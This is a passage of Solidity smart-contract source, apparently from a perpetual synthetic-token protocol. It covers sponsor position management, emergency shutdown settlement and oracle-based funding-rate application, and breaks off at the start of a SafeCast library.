PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
// No pending withdrawal require message removed to save bytecode.
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount
* ` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0);
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens));
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
// Note: revert reason removed to save bytecode.
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or
* remaining collateral for underlying at the prevailing price defined by a DVM vote.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this
* function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleEmergencyShutdown()
external
isEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert.
if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) {
emergencyShutdownPrice = _getOracleEmergencyShutdownPrice();
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral =
_getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with
// the funding rate applied to the outstanding token debt.
FixedPoint.Unsigned memory tokenDebtValueInCollateral =
_getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the `settleEmergencyShutdown` function.
*/
function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() {
// Note: revert reason removed to save bytecode.
require(msg.sender == _getFinancialContractsAdminAddress());
emergencyShutdownTimestamp = getCurrentTime();
_requestOraclePrice(emergencyShutdownTimestamp);
emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory collateralAmount)
{
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PerpetualPositionManager.
* @return totalCollateral amount of all collateral within the position manager.
*/
function totalPositionCollateral()
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getFundingRateAppliedTokenDebt(rawTokenDebt);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove);
require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens));
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
_getOracle().requestPrice(priceIdentifier, requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) {
return _getOraclePrice(emergencyShutdownTimestamp);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyCollateralizedPosition(address sponsor) internal view {
require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0));
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0);
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens);
}
function _getTokenAddress() internal view override returns (address) {
return address(tokenCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/SafeCast.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/implementation/Constants.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../perpetual-multiparty/ConfigStoreInterface.sol";
import "./EmergencyShutdownable.sol";
import "./FeePayer.sol";
/**
* @title FundingRateApplier contract.
* @notice Provides funding rate payment functionality for the Perpetual contract.
*/
abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/****************************************
* FUNDING RATE APPLIER DATA STRUCTURES *
****************************************/
struct FundingRate {
// Current funding rate value.
FixedPoint.Signed rate;
// Identifier to retrieve the funding rate.
bytes32 identifier;
// Tracks the cumulative funding payments that have been paid to the sponsors.
// The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment).
// Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ...
// For example:
// The cumulativeFundingRateMultiplier should start at 1.
// If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01.
// If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201).
FixedPoint.Unsigned cumulativeMultiplier;
// Most recent time that the funding rate was updated.
uint256 updateTime;
// Most recent time that the funding rate was applied and changed the cumulative multiplier.
uint256 applicationTime;
// The time for the active (if it exists) funding rate proposal. 0 otherwise.
uint256 proposalTime;
}
FundingRate public fundingRate;
// Remote config store managed an owner.
ConfigStoreInterface public configStore;
/****************************************
* EVENTS *
****************************************/
event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward);
/****************************************
* MODIFIERS *
****************************************/
// This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate.
modifier fees override {
// Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the
// rate applied linearly since the last update. This implies that the compounding rate depends on the frequency
// of update transactions that have this modifier, and it never reaches the ideal of continuous compounding.
// This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of
// compounding data on-chain.
applyFundingRate();
_;
}
// Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees.
modifier paysRegularFees {
payRegularFees();
_;
}
/**
* @notice Constructs the FundingRateApplier contract. Called by child contracts.
* @param _fundingRateIdentifier identifier that tracks the funding rate of this contract.
* @param _collateralAddress address of the collateral token.
* @param _finderAddress Finder used to discover financial-product-related contracts.
* @param _configStoreAddress address of the remote configuration store managed by an external owner.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress address of the timer contract in test envs, otherwise 0x0.
*/
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() {
uint256 currentTime = getCurrentTime();
fundingRate.updateTime = currentTime;
fundingRate.applicationTime = currentTime;
// Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are
// applied over time.
fundingRate.cumulativeMultiplier = _tokenScaling;
fundingRate.identifier = _fundingRateIdentifier;
configStore = ConfigStoreInterface(_configStoreAddress);
}
/**
* @notice This method takes 3 distinct actions:
* 1. Pays out regular fees.
* 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards.
* 3. Applies the prevailing funding rate over the most recent period.
*/
function applyFundingRate() public paysRegularFees() nonReentrant() {
_applyEffectiveFundingRate();
}
/**
* @notice Proposes a new funding rate. Proposer receives a reward if correct.
* @param rate funding rate being proposed.
* @param timestamp time at which the funding rate was computed.
*/
function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp)
external
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalBond)
{
require(fundingRate.proposalTime == 0, "Proposal in progress");
_validateFundingRate(rate);
// Timestamp must be after the last funding rate update time, within the last 30 minutes.
uint256 currentTime = getCurrentTime();
uint256 updateTime = fundingRate.updateTime;
require(
timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit),
"Invalid proposal time"
);
// Set the proposal time in order to allow this contract to track this request.
fundingRate.proposalTime = timestamp;
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Set up optimistic oracle.
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Note: requestPrice will revert if `timestamp` is less than the current block timestamp.
optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0);
totalBond = FixedPoint.Unsigned(
optimisticOracle.setBond(
identifier,
timestamp,
ancillaryData,
_pfc().mul(_getConfig().proposerBondPercentage).rawValue
)
);
// Pull bond from caller and send to optimistic oracle.
if (totalBond.isGreaterThan(0)) {
collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue);
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue);
}
optimisticOracle.proposePriceFor(
msg.sender,
address(this),
identifier,
timestamp,
ancillaryData,
rate.rawValue
);
}
// Returns a token amount scaled by the current funding rate multiplier.
// Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value.
function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
internal
view
returns (FixedPoint.Unsigned memory tokenDebt)
{
return rawTokenDebt.mul(fundingRate.cumulativeMultiplier);
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) {
return configStore.updateAndGetCurrentConfig();
}
function _updateFundingRate() internal {
uint256 proposalTime = fundingRate.proposalTime;
// If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate.
if (proposalTime != 0) {
// Attempt to update the funding rate.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Try to get the price from the optimistic oracle. This call will revert if the request has not resolved
// yet. If the request has not resolved yet, then we need to do additional checks to see if we should
// "forget" the pending proposal and allow new proposals to update the funding rate.
try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) {
// If successful, determine if the funding rate state needs to be updated.
// If the request is more recent than the last update then we should update it.
uint256 lastUpdateTime = fundingRate.updateTime;
if (proposalTime >= lastUpdateTime) {
// Update funding rates
fundingRate.rate = FixedPoint.Signed(price);
fundingRate.updateTime = proposalTime;
// If there was no dispute, send a reward.
FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0);
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer == address(0)) {
reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime));
if (reward.isGreaterThan(0)) {
_adjustCumulativeFeeMultiplier(reward, _pfc());
collateralCurrency.safeTransfer(request.proposer, reward.rawValue);
}
}
// This event will only be emitted after the fundingRate struct's "updateTime" has been set
// to the latest proposal's proposalTime, indicating that the proposal has been published.
// So, it suffices to just emit fundingRate.updateTime here.
emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue);
}
// Set proposal time to 0 since this proposal has now been resolved.
fundingRate.proposalTime = 0;
} catch {
// Stop tracking and allow other proposals to come in if:
// - The requester address is empty, indicating that the Oracle does not know about this funding rate
// request. This is possible if the Oracle is replaced while the price request is still pending.
// - The request has been disputed.
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer != address(0) || request.proposer == address(0)) {
fundingRate.proposalTime = 0;
}
}
}
}
// Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the
// perpetual's security. For example, let's examine the case where the max and min funding rates
// are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a
// proposer who can deter honest proposers for 74 hours:
// 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%.
// How would attack work? Imagine that the market is very volatile currently and that the "true" funding
// rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500%
// (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding
// rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value.
function _validateFundingRate(FixedPoint.Signed memory rate) internal {
require(
rate.isLessThanOrEqual(_getConfig().maxFundingRate) &&
rate.isGreaterThanOrEqual(_getConfig().minFundingRate)
);
}
// Fetches a funding rate from the Store, determines the period over which to compute an effective fee,
// and multiplies the current multiplier by the effective fee.
// A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier.
// Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat
// values < 1 as "negative".
function _applyEffectiveFundingRate() internal {
// If contract is emergency shutdown, then the funding rate multiplier should no longer change.
if (emergencyShutdownTimestamp != 0) {
return;
}
uint256 currentTime = getCurrentTime();
uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime);
_updateFundingRate(); // Update the funding rate if there is a resolved proposal.
fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate(
paymentPeriod,
fundingRate.rate,
fundingRate.cumulativeMultiplier
);
fundingRate.applicationTime = currentTime;
}
function _calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) {
// Note: this method uses named return variables to save a little bytecode.
// The overall formula that this function is performing:
// newCumulativeFundingRateMultiplier =
// (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier.
FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1);
// Multiply the per-second rate over the number of seconds that have elapsed to get the period rate.
FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds));
// Add one to create the multiplier to scale the existing fee multiplier.
FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate);
// Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned.
FixedPoint.Unsigned memory unsignedPeriodMultiplier =
FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0)));
// Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new
// cumulative funding rate multiplier.
newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier);
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(_getTokenAddress());
}
function _getTokenAddress() internal view virtual returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
